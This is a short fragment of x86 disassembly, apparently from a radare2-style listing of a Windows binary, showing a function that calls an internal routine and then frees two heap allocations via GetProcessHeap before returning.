mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x248]
push eax
push ecx
mov ecx, 0x40a10c
call fcn.00406830
add esp, 0x10
test eax, eax
je 0x409471
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call ebx
push edi
push 0
call esi
push eax
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret